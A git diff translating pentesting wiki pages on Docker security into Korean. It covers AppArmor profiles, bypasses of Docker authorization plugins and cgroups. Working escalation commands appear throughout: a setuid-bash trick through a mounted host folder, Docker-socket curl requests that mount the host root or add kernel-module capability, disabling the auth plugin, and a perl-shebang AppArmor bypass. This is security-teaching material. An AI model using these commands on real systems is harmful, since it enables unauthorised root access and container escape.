+/usr/lib/chromium-browser/chromium-browser//browser_openjdk +/usr/lib/chromium-browser/chromium-browser//sanitized_helper +/usr/lib/connman/scripts/dhclient-script +docker-default ``` +기본적으로 **Apparmor docker-default 프로필**은 [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)에서 생성됩니다. -By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +**docker-default 프로필 요약**: -**docker-default profile Summary**: - -- **Access** to all **networking** -- **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \ ) -- **Writing** to any **/proc** file is **not allowed** -- Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access -- **Mount** is **not allowed** -- **Ptrace** can only be run on a process that is confined by **same apparmor profile** - -Once you **run a docker container** you should see the following output: +- 모든 **네트워킹**에 대한 **접근** +- **능력**이 정의되어 있지 않음 (그러나 일부 능력은 기본 기본 규칙을 포함하여 올 수 있음, 즉 #include \) +- **/proc** 파일에 대한 **쓰기**는 **허용되지 않음** +- /**proc** 및 /**sys**의 다른 **하위 디렉토리**/**파일**에 대한 읽기/쓰기/잠금/링크/실행 접근이 **거부됨** +- **마운트**는 **허용되지 않음** +- **Ptrace**는 **같은 apparmor 프로필**에 의해 제한된 프로세스에서만 실행할 수 있음 +**docker 컨테이너를 실행하면** 다음 출력을 볼 수 있어야 합니다: ```bash 1 processes are in enforce mode. - docker-default (825) +docker-default (825) ``` - -Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS_ADMIN capability is granted** because by default docker apparmor profile denies this access: - +**apparmor는 기본적으로 컨테이너에 부여된 권한을 차단합니다.** 예를 들어, **SYS_ADMIN 권한이 부여되더라도 /proc 내부에 쓰기 권한을 차단할 수 있습니다.** 기본적으로 docker apparmor 프로필이 이 접근을 거부하기 때문입니다: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat sh: 1: cannot create /proc/stat: Permission denied ``` - -You need to **disable apparmor** to bypass its restrictions: - +You need to **disable apparmor** to bypass its restrictions: +당신은 제한을 우회하기 위해 **apparmor**를 비활성화해야 합니다: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` +기본적으로 **AppArmor**는 **컨테이너가** 내부에서 폴더를 마운트하는 것을 **금지합니다**, 심지어 SYS_ADMIN 권한이 있어도 그렇습니다. -Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS_ADMIN capability. +컨테이너에 **권한**을 **추가/제거**할 수 있지만 (여전히 **AppArmor** 및 **Seccomp**와 같은 보호 방법에 의해 제한됩니다): -Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**): - -- `--cap-add=SYS_ADMIN` give `SYS_ADMIN` cap -- `--cap-add=ALL` give all caps -- `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE` +- `--cap-add=SYS_ADMIN` `SYS_ADMIN` 권한 부여 +- `--cap-add=ALL` 모든 권한 부여 +- `--cap-drop=ALL --cap-add=SYS_PTRACE` 모든 권한을 제거하고 `SYS_PTRACE`만 부여 > [!NOTE] -> Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**. +> 일반적으로 **docker** 컨테이너 **내부**에서 **특권 권한**을 **찾았지만** **익스플로잇의 일부가 작동하지 않는** 경우, 이는 docker **apparmor가 이를 방지하고 있기 때문입니다**. -### Example +### 예시 -(Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) - -To illustrate AppArmor functionality, I created a new Docker profile “mydocker” with the following line added: +(예시는 [**여기**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)에서 가져옴) +AppArmor 기능을 설명하기 위해, 다음 줄을 추가하여 새로운 Docker 프로필 “mydocker”를 생성했습니다: ``` deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) ``` - -To activate the profile, we need to do the following: - +프로필을 활성화하려면 다음을 수행해야 합니다: ``` sudo apparmor_parser -r -W mydocker ``` - -To list the profiles, we can do the following command. The command below is listing my new AppArmor profile. - +프로필을 나열하려면 다음 명령을 실행할 수 있습니다. 아래 명령은 내 새로운 AppArmor 프로필을 나열하고 있습니다. ``` $ sudo apparmor_status | grep mydocker - mydocker +mydocker ``` - -As shown below, we get error when trying to change “/etc/” since AppArmor profile is preventing write access to “/etc”. - +아래와 같이, AppArmor 프로파일이 “/etc”에 대한 쓰기 접근을 방지하고 있기 때문에 “/etc/”를 변경하려고 할 때 오류가 발생합니다. ``` $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname chmod: /etc/hostname: Permission denied ``` - ### AppArmor Docker Bypass1 -You can find which **apparmor profile is running a container** using: - +어떤 **apparmor 프로파일이 컨테이너를 실행하고 있는지** 확인하려면 다음을 사용하세요: ```bash docker inspect 9d622d73a614 | grep lowpriv - "AppArmorProfile": "lowpriv", - "apparmor=lowpriv" +"AppArmorProfile": "lowpriv", +"apparmor=lowpriv" ``` - -Then, you can run the following line to **find the exact profile being used**: - +그런 다음, 다음 명령어를 실행하여 **사용 중인 정확한 프로필을 찾을 수 있습니다**: ```bash find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ``` - -In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them. +이상한 경우에 **apparmor 도커 프로필을 수정하고 다시 로드할 수 있습니다.** 제한을 제거하고 "우회"할 수 있습니다. ### AppArmor Docker Bypass2 -**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**. +**AppArmor는 경로 기반**입니다. 이는 **`/proc`**와 같은 디렉토리 내의 파일을 **보호**하고 있을지라도, **컨테이너가 어떻게 실행될지를 구성할 수 있다면**, 호스트의 proc 디렉토리를 **`/host/proc`**에 **마운트**할 수 있으며, 그러면 **더 이상 AppArmor에 의해 보호되지 않습니다**. ### AppArmor Shebang Bypass -In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.: - +[**이 버그**](https://bugs.launchpad.net/apparmor/+bug/1911431)에서 **특정 리소스와 함께 perl의 실행을 방지하고 있다 하더라도**, 첫 번째 줄에 **`#!/usr/bin/perl`**을 **지정**한 셸 스크립트를 생성하고 **파일을 직접 실행하면**, 원하는 것을 실행할 수 있는 예를 볼 수 있습니다. 예: ```perl echo '#!/usr/bin/perl use POSIX qw(strftime); @@ -289,5 +251,4 @@ exec "/bin/sh"' > /tmp/test.pl chmod +x /tmp/test.pl /tmp/test.pl ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md index 3cef5bc8e..4ddc547ca 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md +++ b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md @@ -1,75 +1,70 @@ {{#include ../../../banners/hacktricks-training.md}} -**Docker’s** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Docker’s Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon. +**Docker**의 기본 **권한 부여** 모델은 **모두 또는 없음**입니다. Docker 데몬에 접근할 수 있는 권한이 있는 사용자는 **모든** Docker 클라이언트 **명령**을 **실행**할 수 있습니다. Docker의 Engine API를 사용하여 데몬에 연락하는 호출자에게도 동일하게 적용됩니다. **더 큰 접근 제어**가 필요한 경우, **권한 부여 플러그인**을 생성하고 이를 Docker 데몬 구성에 추가할 수 있습니다. 권한 부여 플러그인을 사용하면 Docker 관리자가 Docker 데몬에 대한 접근을 관리하기 위한 **세분화된 접근** 정책을 **구성**할 수 있습니다. -# Basic architecture +# 기본 아키텍처 -Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**. +Docker Auth 플러그인은 **외부** **플러그인**으로, 요청된 **작업**을 **허용/거부**할 수 있습니다. 이는 요청한 **사용자**와 요청된 **작업**에 따라 달라집니다. -**[The following info is from the docs](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** +**[다음 정보는 문서에서 가져온 것입니다](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** -When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request. +**HTTP** **요청**이 CLI를 통해 또는 Engine API를 통해 Docker **데몬**에 전달되면, **인증** **하위 시스템**이 설치된 **인증** **플러그인**(들)에게 요청을 전달합니다. 요청에는 사용자(호출자)와 명령 컨텍스트가 포함됩니다. **플러그인**은 요청을 **허용**할지 **거부**할지를 결정하는 책임이 있습니다. -The sequence diagrams below depict an allow and deny authorization flow: +아래의 시퀀스 다이어그램은 허용 및 거부 권한 부여 흐름을 나타냅니다: ![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz_allow.png) ![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png) -Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent. +플러그인에 전송된 각 요청은 **인증된 사용자, HTTP 헤더 및 요청/응답 본문**을 포함합니다. **사용자 이름**과 **사용된 인증 방법**만 플러그인에 전달됩니다. 가장 중요한 것은 **사용자 자격 증명**이나 토큰이 전달되지 않는다는 것입니다. 마지막으로, **모든 요청/응답 본문이** 권한 부여 플러그인에 전송되는 것은 아닙니다. `Content-Type`이 `text/*` 또는 `application/json`인 요청/응답 본문만 전송됩니다. -For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins. +HTTP 연결을 잠재적으로 탈취할 수 있는 명령(`HTTP Upgrade`), 예를 들어 `exec`와 같은 경우, 권한 부여 플러그인은 초기 HTTP 요청에 대해서만 호출됩니다. 플러그인이 명령을 승인하면, 나머지 흐름에는 권한 부여가 적용되지 않습니다. 특히, 스트리밍 데이터는 권한 부여 플러그인에 전달되지 않습니다. 청크된 HTTP 응답을 반환하는 명령, 예를 들어 `logs` 및 `events`와 같은 경우, HTTP 요청만 권한 부여 플러그인에 전송됩니다. -During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies. +요청/응답 처리 중 일부 권한 부여 흐름은 Docker 데몬에 추가 쿼리를 수행해야 할 수 있습니다. 이러한 흐름을 완료하기 위해 플러그인은 일반 사용자와 유사하게 데몬 API를 호출할 수 있습니다. 이러한 추가 쿼리를 활성화하려면 플러그인이 관리자가 적절한 인증 및 보안 정책을 구성할 수 있는 수단을 제공해야 합니다. -## Several Plugins +## 여러 플러그인 -You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted. +Docker 데몬 **시작**의 일환으로 **플러그인**을 **등록**하는 것은 귀하의 책임입니다. **여러 플러그인을 설치하고 함께 연결**할 수 있습니다. 이 체인은 순서가 있을 수 있습니다. 데몬에 대한 각 요청은 순서대로 체인을 통과합니다. **모든 플러그인이 리소스에 대한 접근을 허용**할 때만 접근이 허용됩니다. -# Plugin Examples +# 플러그인 예제 ## Twistlock AuthZ Broker -The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user. +플러그인 [**authz**](https://github.com/twistlock/authz)는 **요청**을 **인증**하기 위해 **플러그인**이 **읽을** 간단한 **JSON** 파일을 생성할 수 있게 해줍니다. 따라서 각 사용자가 어떤 API 엔드포인트에 접근할 수 있는지를 매우 쉽게 제어할 수 있는 기회를 제공합니다. -This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` +다음은 Alice와 Bob이 새로운 컨테이너를 생성할 수 있도록 허용하는 예입니다: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` -In the page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action +페이지 [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go)에서 요청된 URL과 작업 간의 관계를 찾을 수 있습니다. 페이지 [types.go](https://github.com/twistlock/authz/blob/master/core/types.go)에서 작업 이름과 작업 간의 관계를 찾을 수 있습니다. -## Simple Plugin Tutorial +## 간단한 플러그인 튜토리얼 -You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) +설치 및 디버깅에 대한 자세한 정보가 포함된 **이해하기 쉬운 플러그인**을 여기에서 찾을 수 있습니다: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) -Read the `README` and the `plugin.go` code to understand how is it working. +`README`와 `plugin.go` 코드를 읽어 작동 방식을 이해하세요. -# Docker Auth Plugin Bypass +# Docker Auth Plugin 우회 -## Enumerate access +## 접근 열거 -The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**. +확인해야 할 주요 사항은 **어떤 엔드포인트가 허용되는지**와 **어떤 HostConfig 값이 허용되는지**입니다. -To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.** +이 열거를 수행하기 위해 **도구** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**를 사용할 수 있습니다.** -## disallowed `run --privileged` - -### Minimum Privileges +## 허용되지 않는 `run --privileged` +### 최소 권한 ```bash docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash ``` +### 컨테이너 실행 후 특권 세션 얻기 -### Running a container and then getting a privileged session - -In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container: - +이 경우 sysadmin은 **사용자가 볼륨을 마운트하고 `--privileged` 플래그로 컨테이너를 실행하는 것을 금지했거나** 컨테이너에 추가 권한을 부여하는 것을 금지했습니다:** ```bash docker run -d --privileged modified-ubuntu docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed. See 'docker run --help'. ``` - -However, a user can **create a shell inside the running container and give it the extra privileges**: - +그러나 사용자는 **실행 중인 컨테이너 내에서 셸을 생성하고 추가 권한을 부여할 수 있습니다**: ```bash docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu #bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de @@ -81,42 +76,38 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be # With --cap-add=SYS_ADMIN docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash ``` +이제 사용자는 [**이전에 논의된 기술**](./#privileged-flag)을 사용하여 컨테이너에서 탈출하고 **호스트 내에서 권한을 상승**시킬 수 있습니다. -Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host. - -## Mount Writable Folder - -In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder: +## 쓰기 가능한 폴더 마운트 +이 경우 시스템 관리자는 **사용자가 `--privileged` 플래그로 컨테이너를 실행하는 것을 금지**하거나 컨테이너에 추가 권한을 부여하지 않았으며, `/tmp` 폴더만 마운트하는 것을 허용했습니다: ```bash host> cp /bin/bash /tmp #Cerate a copy of bash host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell docker container> chown root:root /host/bash docker container> chmod u+s /host/bash host> /tmp/bash - -p #This will give you a shell as root +-p #This will give you a shell as root ``` - > [!NOTE] -> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` +> `/tmp` 폴더를 마운트할 수 없을 수도 있지만, **다른 쓰기 가능한 폴더**를 마운트할 수 있습니다. 쓰기 가능한 디렉토리는 다음을 사용하여 찾을 수 있습니다: `find / -writable -type d 2>/dev/null` > -> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. +> **리눅스 머신의 모든 디렉토리가 suid 비트를 지원하는 것은 아닙니다!** suid 비트를 지원하는 디렉토리를 확인하려면 `mount | grep -v "nosuid"`를 실행하세요. 예를 들어, 일반적으로 `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` 및 `/var/lib/lxcfs`는 suid 비트를 지원하지 않습니다. > -> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +> 또한 **`/etc`** 또는 **구성 파일이 포함된** 다른 폴더를 **마운트할 수 있다면**, 도커 컨테이너에서 루트로 변경하여 **호스트에서 악용하고** 권한을 상승시킬 수 있습니다 (예: `/etc/shadow` 수정). ## Unchecked API Endpoint -The responsibility of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.** +이 플러그인을 구성하는 sysadmin의 책임은 각 사용자가 수행할 수 있는 작업과 권한을 제어하는 것입니다. 따라서 관리자가 엔드포인트와 속성에 대해 **블랙리스트** 접근 방식을 취하면, 공격자가 **권한을 상승시킬 수 있는** 일부를 **잊어버릴 수 있습니다.** -You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) +도커 API를 확인할 수 있습니다: [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) ## Unchecked JSON Structure ### Binds in root -It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\ -In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host: - +sysadmin이 도커 방화벽을 구성할 때 [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)의 "**Binds**"와 같은 **중요한 매개변수를 잊어버렸을 가능성이 있습니다.**\ +다음 예제에서는 이 잘못된 구성을 악용하여 호스트의 루트 (/) 폴더를 마운트하는 컨테이너를 생성하고 실행할 수 있습니다: ```bash docker version #First, find the API version of docker, 1.40 in this example docker images #List the images available @@ -126,38 +117,30 @@ docker start f6932bc153ad #Start the created privileged container docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it #You can access the host filesystem ``` - > [!WARNING] -> Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`** +> 이 예제에서 **`Binds`** 매개변수를 JSON의 루트 수준 키로 사용하고 있지만 API에서는 **`HostConfig`** 키 아래에 나타나는 것을 주목하세요. -### Binds in HostConfig - -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: +### HostConfig의 Binds +**루트의 Binds**와 동일한 지침을 따라 Docker API에 이 **요청**을 수행하세요: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create ``` +### 루트의 마운트 -### Mounts in root - -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: - +**루트의 바인드**와 동일한 지침을 따르며 Docker API에 이 **요청**을 수행합니다: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create ``` +### HostConfig의 마운트 -### Mounts in HostConfig - -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: - +**root의 Binds**와 동일한 지침을 따르며 Docker API에 이 **요청**을 수행합니다: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre ``` - ## Unchecked JSON Attribute -It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability: - +시스템 관리자가 도커 방화벽을 구성할 때 **"HostConfig"** 내의 **"Capabilities"**와 같은 [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) 매개변수의 중요한 속성을 **잊었을 가능성**이 있습니다. 다음 예제에서는 이 잘못된 구성을 악용하여 **SYS_MODULE** 권한을 가진 컨테이너를 생성하고 실행할 수 있습니다: ```bash docker version curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create @@ -167,14 +150,12 @@ docker exec -it c52a77629a91 bash capsh --print #You can abuse the SYS_MODULE capability ``` - > [!NOTE] -> The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions. +> **`HostConfig`**는 일반적으로 컨테이너에서 탈출하기 위한 **흥미로운** **권한**을 포함하는 키입니다. 그러나 이전에 논의한 바와 같이, 그 외부에서 Binds를 사용하는 것도 작동하며 제한을 우회할 수 있습니다. -## Disabling Plugin - -If the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it! +## 플러그인 비활성화 +**sysadmin**이 **플러그인**을 **비활성화**할 수 있는 능력을 **금지하는** 것을 **잊었다면**, 이를 이용하여 완전히 비활성화할 수 있습니다! ```bash docker plugin list #Enumerate plugins @@ -186,10 +167,9 @@ docker plugin disable authobot docker run --rm -it --privileged -v /:/host ubuntu bash docker plugin enable authobot ``` +플러그인을 **승격 후 다시 활성화하는 것을 잊지 마세요**, 그렇지 않으면 **docker 서비스가 재시작되지 않습니다**! -Remember to **re-enable the plugin after escalating**, or a **restart of docker service won’t work**! - -## Auth Plugin Bypass writeups +## Auth Plugin Bypass 작성물 - [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md index 82614f093..b58148bef 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md +++ b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md @@ -4,16 +4,13 @@ ## Basic Information -**Linux Control Groups**, or **cgroups**, are a feature of the Linux kernel that allows the allocation, limitation, and prioritization of system resources like CPU, memory, and disk I/O among process groups. They offer a mechanism for **managing and isolating the resource usage** of process collections, beneficial for purposes such as resource limitation, workload isolation, and resource prioritization among different process groups. +**Linux Control Groups** 또는 **cgroups**는 CPU, 메모리 및 디스크 I/O와 같은 시스템 리소스를 프로세스 그룹 간에 할당, 제한 및 우선 순위를 지정할 수 있는 리눅스 커널의 기능입니다. 이는 리소스 제한, 작업 부하 격리 및 다양한 프로세스 그룹 간의 리소스 우선 순위 지정과 같은 목적을 위해 프로세스 컬렉션의 리소스 사용을 **관리하고 격리하는** 메커니즘을 제공합니다. -There are **two versions of cgroups**: version 1 and version 2. Both can be used concurrently on a system. The primary distinction is that **cgroups version 2** introduces a **hierarchical, tree-like structure**, enabling more nuanced and detailed resource distribution among process groups. Additionally, version 2 brings various enhancements, including: +**cgroups의 두 가지 버전**이 있습니다: 버전 1과 버전 2. 두 버전 모두 시스템에서 동시에 사용할 수 있습니다. 주요 차이점은 **cgroups 버전 2**가 **계층적이고 트리와 같은 구조**를 도입하여 프로세스 그룹 간의 리소스 분배를 보다 세밀하고 상세하게 할 수 있게 한다는 것입니다. 또한, 버전 2는 **새로운 리소스 컨트롤러**에 대한 지원, 레거시 애플리케이션에 대한 더 나은 지원 및 성능 향상과 같은 다양한 개선 사항을 가져옵니다. -In addition to the new hierarchical organization, cgroups version 2 also introduced **several other changes and improvements**, such as support for **new resource controllers**, better support for legacy applications, and improved performance. - -Overall, cgroups **version 2 offers more features and better performance** than version 1, but the latter may still be used in certain scenarios where compatibility with older systems is a concern. - -You can list the v1 and v2 cgroups for any process by looking at its cgroup file in /proc/\. You can start by looking at your shell’s cgroups with this command: +전반적으로 cgroups **버전 2는 버전 1보다 더 많은 기능과 더 나은 성능**을 제공하지만, 후자는 구형 시스템과의 호환성이 우려되는 특정 시나리오에서 여전히 사용될 수 있습니다. +프로세스의 cgroup 파일을 /proc/\에서 확인하여 v1 및 v2 cgroups를 나열할 수 있습니다. 이 명령어로 셸의 cgroups를 확인하는 것부터 시작할 수 있습니다: ```shell-session $ cat /proc/self/cgroup 12:rdma:/ @@ -28,63 +25,54 @@ $ cat /proc/self/cgroup 1:name=systemd:/user.slice/user-1000.slice/session-2.scope 0::/user.slice/user-1000.slice/session-2.scope ``` +- **숫자 2–12**: cgroups v1, 각 줄은 다른 cgroup을 나타냅니다. 이들의 컨트롤러는 숫자 옆에 지정되어 있습니다. +- **숫자 1**: 또한 cgroups v1이지만 관리 목적으로만 사용되며(예: systemd에 의해 설정됨) 컨트롤러가 없습니다. +- **숫자 0**: cgroups v2를 나타냅니다. 컨트롤러가 나열되지 않으며, 이 줄은 cgroups v2만 실행하는 시스템에서 독점적입니다. +- **이름은 계층적이며**, 파일 경로를 닮아 서로 다른 cgroups 간의 구조와 관계를 나타냅니다. +- **/user.slice 또는 /system.slice**와 같은 이름은 cgroups의 분류를 지정하며, user.slice는 일반적으로 systemd에 의해 관리되는 로그인 세션을 위해, system.slice는 시스템 서비스를 위해 사용됩니다. -The output structure is as follows: +### cgroups 보기 -- **Numbers 2–12**: cgroups v1, with each line representing a different cgroup. Controllers for these are specified adjacent to the number. -- **Number 1**: Also cgroups v1, but solely for management purposes (set by, e.g., systemd), and lacks a controller. -- **Number 0**: Represents cgroups v2. No controllers are listed, and this line is exclusive on systems only running cgroups v2. -- The **names are hierarchical**, resembling file paths, indicating the structure and relationship between different cgroups. -- **Names like /user.slice or /system.slice** specify the categorization of cgroups, with user.slice typically for login sessions managed by systemd and system.slice for system services. - -### Viewing cgroups - -The filesystem is typically utilized for accessing **cgroups**, diverging from the Unix system call interface traditionally used for kernel interactions. To investigate a shell's cgroup configuration, one should examine the **/proc/self/cgroup** file, which reveals the shell's cgroup. Then, by navigating to the **/sys/fs/cgroup** (or **`/sys/fs/cgroup/unified`**) directory and locating a directory that shares the cgroup's name, one can observe various settings and resource usage information pertinent to the cgroup. +파일 시스템은 일반적으로 **cgroups**에 접근하는 데 사용되며, 전통적으로 커널 상호작용에 사용되는 Unix 시스템 호출 인터페이스와는 다릅니다. 셸의 cgroup 구성을 조사하려면 **/proc/self/cgroup** 파일을 확인해야 하며, 이 파일은 셸의 cgroup을 보여줍니다. 그런 다음 **/sys/fs/cgroup** (또는 **`/sys/fs/cgroup/unified`**) 디렉토리로 이동하여 cgroup의 이름과 공유하는 디렉토리를 찾으면 cgroup과 관련된 다양한 설정 및 리소스 사용 정보를 관찰할 수 있습니다. ![Cgroup Filesystem](<../../../images/image (1128).png>) -The key interface files for cgroups are prefixed with **cgroup**. The **cgroup.procs** file, which can be viewed with standard commands like cat, lists the processes within the cgroup. Another file, **cgroup.threads**, includes thread information. +cgroups의 주요 인터페이스 파일은 **cgroup**으로 접두사가 붙습니다. **cgroup.procs** 파일은 표준 명령(cat 등)으로 볼 수 있으며, cgroup 내의 프로세스를 나열합니다. 또 다른 파일인 **cgroup.threads**는 스레드 정보를 